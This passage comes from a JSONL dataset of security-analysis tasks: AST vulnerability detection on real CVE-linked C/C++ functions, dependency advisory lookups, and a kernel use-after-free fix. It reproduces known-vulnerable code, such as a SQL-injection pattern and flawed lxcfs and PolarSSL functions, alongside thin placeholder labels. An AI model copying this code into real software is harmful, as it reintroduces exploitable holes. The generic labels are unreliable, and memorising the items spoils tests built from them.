\"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 54\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_fragment\",\n \"line\": 3,\n \"col\": 55\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 56\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 57\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 59\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 60\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 61\n },\n {\n \"token\": \"rows\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 63\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 67\n },\n {\n \"token\": \"=>\",\n \"ast_node\": \"=>\",\n \"line\": 3,\n \"col\": 69\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 72\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"json\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"rows\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 3\n }\n ],\n \"explanation\": \"Untrusted input is concatenated directly into a SQL string passed to db.query.\",\n \"remediation\": \"Use parameterized queries / prepared statements; never concatenate untrusted input into SQL.\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C++ function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "WebContext* WebContext::FromBrowserContext(oxide::BrowserContext* context) {\n BrowserContextDelegate* delegate =\n static_cast(context->GetDelegate());\n if (!delegate) {\n return nullptr;\n }\n\n return delegate->context();\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1586\",\n \"project\": \"launchpad\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.hive:hive\nInstalled version: 2.1.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.hive:hive\",\n \"installed_version\": \"2.1.2\",\n \"note\": \"org.apache.hive:hive 2.1.2 is at or above the fixed version for GHSA-2g9q-chq2-w8qw; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static bool do_write_pids(pid_t tpid, const char *contrl, const char *cg, const char *file, const char *buf)\n {\n \tint sock[2] = {-1, -1};\n \tpid_t qpid, cpid = -1;\n\tFILE *pids_file = NULL;\n\tbool answer = false, fail = false;\n\n\tpids_file = open_pids_file(contrl, cg);\n\tif (!pids_file)\n\t\treturn false;\n\n\t/*\n\t * write the pids to a socket, have helper in writer's pidns\n\t * call movepid for us\n\t */\n\tif (socketpair(AF_UNIX, SOCK_DGRAM, 0, sock) < 0) {\n\t\tperror(\"socketpair\");\n\t\tgoto out;\n\t}\n\n\tcpid = fork();\n\tif (cpid == -1)\n\t\tgoto out;\n\n\tif (!cpid) { // child\n\t\tfclose(pids_file);\n\t\tpid_from_ns_wrapper(sock[1], tpid);\n\t}\n\n\tconst char *ptr = buf;\n\twhile (sscanf(ptr, \"%d\", &qpid) == 1) {\n\t\tstruct ucred cred;\n\t\tchar v;\n\n\t\tif (write(sock[0], &qpid, sizeof(qpid)) != sizeof(qpid)) {\n\t\t\tfprintf(stderr, \"%s: error writing pid to child: %s\\n\",\n\t\t\t\t__func__, strerror(errno));\n\t\t\tgoto out;\n\t\t}\n \n \t\tif (recv_creds(sock[0], &cred, &v)) {\n \t\t\tif (v == '0') {\n \t\t\t\tif (fprintf(pids_file, \"%d\", (int) cred.pid) < 0)\n \t\t\t\t\tfail = true;\n \t\t\t}\n\t\t}\n\n\t\tptr = strchr(ptr, '\\n');\n\t\tif (!ptr)\n\t\t\tbreak;\n\t\tptr++;\n\t}\n\n\t/* All good, write the value */\n\tqpid = -1;\n\tif (write(sock[0], &qpid ,sizeof(qpid)) != sizeof(qpid))\n\t\tfprintf(stderr, \"Warning: failed to ask child to exit\\n\");\n\n\tif (!fail)\n\t\tanswer = true;\n\nout:\n\tif (cpid != -1)\n\t\twait_for_pid(cpid);\n\tif (sock[0] != -1) {\n\t\tclose(sock[0]);\n\t\tclose(sock[1]);\n\t}\n\tif (pids_file) {\n\t\tif (fclose(pids_file) != 0)\n\t\t\tanswer = false;\n\t}\n\treturn answer;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-1344\",\n \"project\": \"lxcfs\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-787", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.ChakraCore\nInstalled version: <1.11.10\nSummary: Chakra Scripting Engine Memory Corruption Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-9824-rp6m-xx9w\",\n \"cve\": \"CVE-2019-0989\",\n \"aliases\": [\n \"CVE-2019-0989\"\n ],\n \"cwe\": \"CWE-787\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.ChakraCore\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.11.10\",\n \"fixed_version\": \"1.11.10\",\n \"finding\": \"Chakra Scripting Engine Memory Corruption Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.ChakraCore to 1.11.10 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/karmada-io/dashboard\nInstalled version: <0.2.0\nSummary: Karmada Dashboard API Unauthorized Access Vulnerability in github.com/karmada-io/dashboard", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2025-4072\",\n \"cve\": \"CVE-2025-62714\",\n \"aliases\": [\n \"CVE-2025-62714\",\n \"GHSA-5qjg-9mjh-4r92\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/karmada-io/dashboard\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.2.0\",\n \"fixed_version\": \"0.2.0\",\n \"finding\": \"Karmada Dashboard API Unauthorized Access Vulnerability in github.com/karmada-io/dashboard\",\n \"remediation\": \"Upgrade github.com/karmada-io/dashboard to 0.2.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: local-operator\nInstalled version: <0.47.5\nSummary: Path traversal and arbitrary directory deletion/overwrite via agent profile import in local-operator", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-4009\",\n \"cve\": null,\n \"aliases\": [\n \"GHSA-22mg-8gw7-636x\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"local-operator\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.47.5\",\n \"fixed_version\": \"0.47.5\",\n \"finding\": \"Path traversal and arbitrary directory deletion/overwrite via agent profile import in local-operator\",\n \"remediation\": \"Upgrade local-operator to 0.47.5 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static struct page *follow_pmd_mask(struct vm_area_struct *vma,\n\t\t\t\t unsigned long address, pud_t *pudp,\n\t\t\t\t unsigned int flags,\n\t\t\t\t struct follow_page_context *ctx)\n{\n\tpmd_t *pmd, pmdval;\n\tspinlock_t *ptl;\n\tstruct page *page;\n\tstruct mm_struct *mm = vma->vm_mm;\n\n\tpmd = pmd_offset(pudp, address);\n\t/*\n\t * The READ_ONCE() will stabilize the pmdval in a register or\n\t * on the stack so that it will stop changing under the code.\n\t */\n\tpmdval = READ_ONCE(*pmd);\n\tif (pmd_none(pmdval))\n\t\treturn no_page_table(vma, flags);\n\tif (pmd_huge(pmdval) && vma->vm_flags & VM_HUGETLB) {\n\t\tpage = follow_huge_pmd(mm, address, pmd, flags);\n\t\tif (page)\n\t\t\treturn page;\n\t\treturn no_page_table(vma, flags);\n\t}\n\tif (is_hugepd(__hugepd(pmd_val(pmdval)))) {\n\t\tpage = follow_huge_pd(vma, address,\n\t\t\t\t __hugepd(pmd_val(pmdval)), flags,\n\t\t\t\t PMD_SHIFT);\n\t\tif (page)\n\t\t\treturn page;\n\t\treturn no_page_table(vma, flags);\n\t}\nretry:\n\tif (!pmd_present(pmdval)) {\n\t\tif (likely(!(flags & FOLL_MIGRATION)))\n\t\t\treturn no_page_table(vma, flags);\n\t\tVM_BUG_ON(thp_migration_supported() &&\n\t\t\t\t !is_pmd_migration_entry(pmdval));\n\t\tif (is_pmd_migration_entry(pmdval))\n\t\t\tpmd_migration_entry_wait(mm, pmd);\n\t\tpmdval = READ_ONCE(*pmd);\n\t\t/*\n\t\t * MADV_DONTNEED may convert the pmd to null because\n\t\t * mmap_sem is held in read mode\n\t\t */\n\t\tif (pmd_none(pmdval))\n\t\t\treturn no_page_table(vma, flags);\n\t\tgoto retry;\n\t}\n\tif (pmd_devmap(pmdval)) {\n\t\tptl = pmd_lock(mm, pmd);\n\t\tpage = follow_devmap_pmd(vma, address, pmd, flags, &ctx->pgmap);\n\t\tspin_unlock(ptl);\n\t\tif (page)\n\t\t\treturn page;\n\t}\n\tif (likely(!pmd_trans_huge(pmdval)))\n\t\treturn follow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\n\n\tif ((flags & FOLL_NUMA) && pmd_protnone(pmdval))\n\t\treturn no_page_table(vma, flags);\n\nretry_locked:\n\tptl = pmd_lock(mm, pmd);\n\tif (unlikely(pmd_none(*pmd))) {\n\t\tspin_unlock(ptl);\n\t\treturn no_page_table(vma, flags);\n\t}\n\tif (unlikely(!pmd_present(*pmd))) {\n\t\tspin_unlock(ptl);\n\t\tif (likely(!(flags & FOLL_MIGRATION)))\n\t\t\treturn no_page_table(vma, flags);\n\t\tpmd_migration_entry_wait(mm, pmd);\n\t\tgoto retry_locked;\n\t}\n\tif (unlikely(!pmd_trans_huge(*pmd))) {\n\t\tspin_unlock(ptl);\n\t\treturn follow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\n\t}\n\tif (flags & FOLL_SPLIT) {\n\t\tint ret;\n\t\tpage = pmd_page(*pmd);\n\t\tif (is_huge_zero_page(page)) {\n\t\t\tspin_unlock(ptl);\n\t\t\tret = 0;\n\t\t\tsplit_huge_pmd(vma, pmd, address);\n \t\t\tif (pmd_trans_unstable(pmd))\n \t\t\t\tret = -EBUSY;\n \t\t} else {\n\t\t\tget_page(page);\n \t\t\tspin_unlock(ptl);\n \t\t\tlock_page(page);\n \t\t\tret = split_huge_page(page);\n\t\t\tunlock_page(page);\n\t\t\tput_page(page);\n\t\t\tif (pmd_none(*pmd))\n\t\t\t\treturn no_page_table(vma, flags);\n\t\t}\n\n\t\treturn ret ? ERR_PTR(ret) :\n\t\t\tfollow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\n\t}\n\tpage = follow_trans_huge_pmd(vma, address, pmd, flags);\n\tspin_unlock(ptl);\n\tctx->page_mask = HPAGE_PMD_NR - 1;\n\treturn page;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"cve\": \"CVE-2019-11487\",\n \"fixed_code\": \"static struct page *follow_pmd_mask(struct vm_area_struct *vma,\\n\\t\\t\\t\\t unsigned long address, pud_t *pudp,\\n\\t\\t\\t\\t unsigned int flags,\\n\\t\\t\\t\\t struct follow_page_context *ctx)\\n{\\n\\tpmd_t *pmd, pmdval;\\n\\tspinlock_t *ptl;\\n\\tstruct page *page;\\n\\tstruct mm_struct *mm = vma->vm_mm;\\n\\n\\tpmd = pmd_offset(pudp, address);\\n\\t/*\\n\\t * The READ_ONCE() will stabilize the pmdval in a register or\\n\\t * on the stack so that it will stop changing under the code.\\n\\t */\\n\\tpmdval = READ_ONCE(*pmd);\\n\\tif (pmd_none(pmdval))\\n\\t\\treturn no_page_table(vma, flags);\\n\\tif (pmd_huge(pmdval) && vma->vm_flags & VM_HUGETLB) {\\n\\t\\tpage = follow_huge_pmd(mm, address, pmd, flags);\\n\\t\\tif (page)\\n\\t\\t\\treturn page;\\n\\t\\treturn no_page_table(vma, flags);\\n\\t}\\n\\tif (is_hugepd(__hugepd(pmd_val(pmdval)))) {\\n\\t\\tpage = follow_huge_pd(vma, address,\\n\\t\\t\\t\\t __hugepd(pmd_val(pmdval)), flags,\\n\\t\\t\\t\\t PMD_SHIFT);\\n\\t\\tif (page)\\n\\t\\t\\treturn page;\\n\\t\\treturn no_page_table(vma, flags);\\n\\t}\\nretry:\\n\\tif (!pmd_present(pmdval)) {\\n\\t\\tif (likely(!(flags & FOLL_MIGRATION)))\\n\\t\\t\\treturn no_page_table(vma, flags);\\n\\t\\tVM_BUG_ON(thp_migration_supported() &&\\n\\t\\t\\t\\t !is_pmd_migration_entry(pmdval));\\n\\t\\tif (is_pmd_migration_entry(pmdval))\\n\\t\\t\\tpmd_migration_entry_wait(mm, pmd);\\n\\t\\tpmdval = READ_ONCE(*pmd);\\n\\t\\t/*\\n\\t\\t * MADV_DONTNEED may convert the pmd to null because\\n\\t\\t * mmap_sem is held in read mode\\n\\t\\t */\\n\\t\\tif (pmd_none(pmdval))\\n\\t\\t\\treturn no_page_table(vma, flags);\\n\\t\\tgoto retry;\\n\\t}\\n\\tif (pmd_devmap(pmdval)) {\\n\\t\\tptl = pmd_lock(mm, pmd);\\n\\t\\tpage = follow_devmap_pmd(vma, address, pmd, flags, &ctx->pgmap);\\n\\t\\tspin_unlock(ptl);\\n\\t\\tif (page)\\n\\t\\t\\treturn page;\\n\\t}\\n\\tif (likely(!pmd_trans_huge(pmdval)))\\n\\t\\treturn follow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\\n\\n\\tif ((flags & FOLL_NUMA) && pmd_protnone(pmdval))\\n\\t\\treturn no_page_table(vma, flags);\\n\\nretry_locked:\\n\\tptl = pmd_lock(mm, pmd);\\n\\tif (unlikely(pmd_none(*pmd))) {\\n\\t\\tspin_unlock(ptl);\\n\\t\\treturn no_page_table(vma, flags);\\n\\t}\\n\\tif (unlikely(!pmd_present(*pmd))) {\\n\\t\\tspin_unlock(ptl);\\n\\t\\tif (likely(!(flags & FOLL_MIGRATION)))\\n\\t\\t\\treturn no_page_table(vma, flags);\\n\\t\\tpmd_migration_entry_wait(mm, pmd);\\n\\t\\tgoto retry_locked;\\n\\t}\\n\\tif (unlikely(!pmd_trans_huge(*pmd))) {\\n\\t\\tspin_unlock(ptl);\\n\\t\\treturn follow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\\n\\t}\\n\\tif (flags & FOLL_SPLIT) {\\n\\t\\tint ret;\\n\\t\\tpage = pmd_page(*pmd);\\n\\t\\tif (is_huge_zero_page(page)) {\\n\\t\\t\\tspin_unlock(ptl);\\n\\t\\t\\tret = 0;\\n\\t\\t\\tsplit_huge_pmd(vma, pmd, address);\\n \\t\\t\\tif (pmd_trans_unstable(pmd))\\n \\t\\t\\t\\tret = -EBUSY;\\n \\t\\t} else {\\n\\t\\t\\tif (unlikely(!try_get_page(page))) {\\n\\t\\t\\t\\tspin_unlock(ptl);\\n\\t\\t\\t\\treturn ERR_PTR(-ENOMEM);\\n\\t\\t\\t}\\n \\t\\t\\tspin_unlock(ptl);\\n \\t\\t\\tlock_page(page);\\n \\t\\t\\tret = split_huge_page(page);\\n\\t\\t\\tunlock_page(page);\\n\\t\\t\\tput_page(page);\\n\\t\\t\\tif (pmd_none(*pmd))\\n\\t\\t\\t\\treturn no_page_table(vma, flags);\\n\\t\\t}\\n\\n\\t\\treturn ret ? ERR_PTR(ret) :\\n\\t\\t\\tfollow_page_pte(vma, address, pmd, flags, &ctx->pgmap);\\n\\t}\\n\\tpage = follow_trans_huge_pmd(vma, address, pmd, flags);\\n\\tspin_unlock(ptl);\\n\\tctx->page_mask = HPAGE_PMD_NR - 1;\\n\\treturn page;\\n}\\n\",\n \"change_summary\": \"Merge branch 'page-refs' (page ref overflow)\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <3.16.3-1\nSummary: Buffer overflow in net/ceph/auth_x.c in Ceph, as used in the Linux kernel before 3.16.3, allows remote attackers to cause a denial of service (memory corruption and panic) or possibly have unspecified...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2014-6416\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <3.16.3-1\",\n \"fixed_version\": \"3.16.3-1\",\n \"finding\": \"Buffer overflow in net/ceph/auth_x.c in Ceph, as used in the Linux kernel before 3.16.3, allows remote attackers to cause a denial of service (memory corruption and panic) or possibly have unspecified...\",\n \"remediation\": \"Upgrade linux to 3.16.3-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-310", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int rsa_rsassa_pss_verify( rsa_context *ctx,\n int mode,\n int hash_id,\n unsigned int hashlen,\n const unsigned char *hash,\n unsigned char *sig )\n{\n int ret;\n size_t siglen;\n unsigned char *p;\n unsigned char buf[POLARSSL_MPI_MAX_SIZE];\n unsigned char result[POLARSSL_MD_MAX_SIZE];\n unsigned char zeros[8];\n unsigned int hlen;\n size_t slen, msb;\n const md_info_t *md_info;\n md_context_t md_ctx;\n\n if( ctx->padding != RSA_PKCS_V21 )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n siglen = ctx->len;\n\n if( siglen < 16 || siglen > sizeof( buf ) )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n ret = ( mode == RSA_PUBLIC )\n ? rsa_public( ctx, sig, buf )\n : rsa_private( ctx, sig, buf );\n\n if( ret != 0 )\n return( ret );\n\n p = buf;\n\n if( buf[siglen - 1] != 0xBC )\n return( POLARSSL_ERR_RSA_INVALID_PADDING );\n\n switch( hash_id )\n {\n case SIG_RSA_MD2:\n case SIG_RSA_MD4:\n case SIG_RSA_MD5:\n hashlen = 16;\n break;\n\n case SIG_RSA_SHA1:\n hashlen = 20;\n break;\n\n case SIG_RSA_SHA224:\n hashlen = 28;\n break;\n\n case SIG_RSA_SHA256:\n hashlen = 32;\n break;\n\n case SIG_RSA_SHA384:\n hashlen = 48;\n break;\n\n case SIG_RSA_SHA512:\n hashlen = 64;\n break;\n\n default:\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n }\n\n md_info = md_info_from_type( ctx->hash_id );\n if( md_info == NULL )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n hlen = md_get_size( md_info );\n slen = siglen - hlen - 1;\n\n memset( zeros, 0, 8 );\n\n // Note: EMSA-PSS verification is over the length of N - 1 bits\n //\n msb = mpi_msb( &ctx->N ) - 1;\n\n // Compensate for boundary condition when applying mask\n //\n if( msb % 8 == 0 )\n {\n p++;\n siglen -= 1;\n }\n if( buf[0] >> ( 8 - siglen * 8 + msb ) )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n md_init_ctx( &md_ctx, md_info );\n\n mgf_mask( p, siglen - hlen - 1, p + siglen - hlen - 1, hlen, &md_ctx );\n\n buf[0] &= 0xFF >> ( siglen * 8 - msb );\n\n while( *p == 0 && p < buf + siglen )\n p++;\n\n if( p == buf + siglen ||\n *p++ != 0x01 )\n {\n md_free_ctx( &md_ctx );\n return( POLARSSL_ERR_RSA_INVALID_PADDING );\n }\n\n slen -= p - buf;\n\n // Generate H = Hash( M' )\n //\n md_starts( &md_ctx );\n md_update( &md_ctx, zeros, 8 );\n md_update( &md_ctx, hash, hashlen );\n md_update( &md_ctx, p, slen );\n md_finish( &md_ctx, result );\n\n md_free_ctx( &md_ctx );\n\n if( memcmp( p + slen, result, hlen ) == 0 )\n return( 0 );\n else\n return( POLARSSL_ERR_RSA_VERIFY_FAILED );\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-310\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"project\": \"polarssl\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/microsoft/kiota-http-go\nInstalled version: 1.5.5\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/microsoft/kiota-http-go\",\n \"installed_version\": \"1.5.5\",\n \"note\": \"github.com/microsoft/kiota-http-go 1.5.5 is at or above the fixed version for GHSA-7j59-v9qr-6fq9; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static inline int shmem_parse_mpol(char *value, int *policy,\n\t\t\t\t\t\tnodemask_t *policy_nodes)\n{\n\treturn 1;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-1333", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: word-wrap\nInstalled version: <1.2.4\nSummary: word-wrap vulnerable to Regular Expression Denial of Service", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-j8xg-fqg3-53r7\",\n \"cve\": \"CVE-2023-26115\",\n \"aliases\": [\n \"CVE-2023-26115\"\n ],\n \"cwe\": \"CWE-1333\",\n \"ecosystem\": \"npm\",\n \"package\": \"word-wrap\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.2.4\",\n \"fixed_version\": \"1.2.4\",\n \"finding\": \"word-wrap vulnerable to Regular Expression Denial of Service\",\n \"remediation\": \"Upgrade word-wrap to 1.2.4 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.NETCore.App.Runtime.win-arm64\nInstalled version: 7.0.0\nSummary: Microsoft Security Advisory CVE-2023-36793: .NET Remote Code Execution Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-g4p8-g7mq-wpx4\",\n \"cve\": \"CVE-2023-36793\",\n \"aliases\": [\n \"BIT-dotnet-2023-36793\",\n \"BIT-dotnet-sdk-2023-36793\",\n \"CVE-2023-36793\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.NETCore.App.Runtime.win-arm64\",\n \"severity\": \"high\",\n \"affected_versions\": \">=7.0.0, <7.0.11\",\n \"fixed_version\": \"7.0.11\",\n \"finding\": \"Microsoft Security Advisory CVE-2023-36793: .NET Remote Code Execution Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.NETCore.App.Runtime.win-arm64 to 7.0.11 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-122", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Magick.NET-Q16-AnyCPU\nInstalled version: <14.10.3\nSummary: ImageMagick: Heap-based Buffer Overflow in GetPixelIndex due to metadata-cache desynchronization", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-gq5v-qf8q-fp77\",\n \"cve\": \"CVE-2026-56362\",\n \"aliases\": [\n \"CVE-2026-56362\"\n ],\n \"cwe\": \"CWE-122\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Magick.NET-Q16-AnyCPU\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <14.10.3\",\n \"fixed_version\": \"14.10.3\",\n \"finding\": \"ImageMagick: Heap-based Buffer Overflow in GetPixelIndex due to metadata-cache desynchronization\",\n \"remediation\": \"Upgrade Magick.NET-Q16-AnyCPU to 14.10.3 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void atrtr_device_down(struct net_device *dev)\n{\n\tstruct atalk_route **r = &atalk_routes;\n\tstruct atalk_route *tmp;\n\n\twrite_lock_bh(&atalk_routes_lock);\n\twhile ((tmp = *r) != NULL) {\n\t\tif (tmp->dev == dev) {\n\t\t\t*r = tmp->next;\n\t\t\tdev_put(dev);\n\t\t\tkfree(tmp);\n\t\t} else\n\t\t\tr = &tmp->next;\n\t}\n\twrite_unlock_bh(&atalk_routes_lock);\n\n\tif (atrtr_default.dev == dev)\n\t\tatrtr_set_default(NULL);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"history\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static u32 __peek_user_compat(struct task_struct *child, addr_t addr)\n{\n\tstruct user32 *dummy32 = NULL;\n\tper_struct32 *dummy_per32 = NULL;\n\taddr_t offset;\n\t__u32 tmp;\n\n\tif (addr < (addr_t) &dummy32->regs.acrs) {\n\t\t/*\n\t\t * psw and gprs are stored on the stack\n\t\t */\n\t\tif (addr == (addr_t) 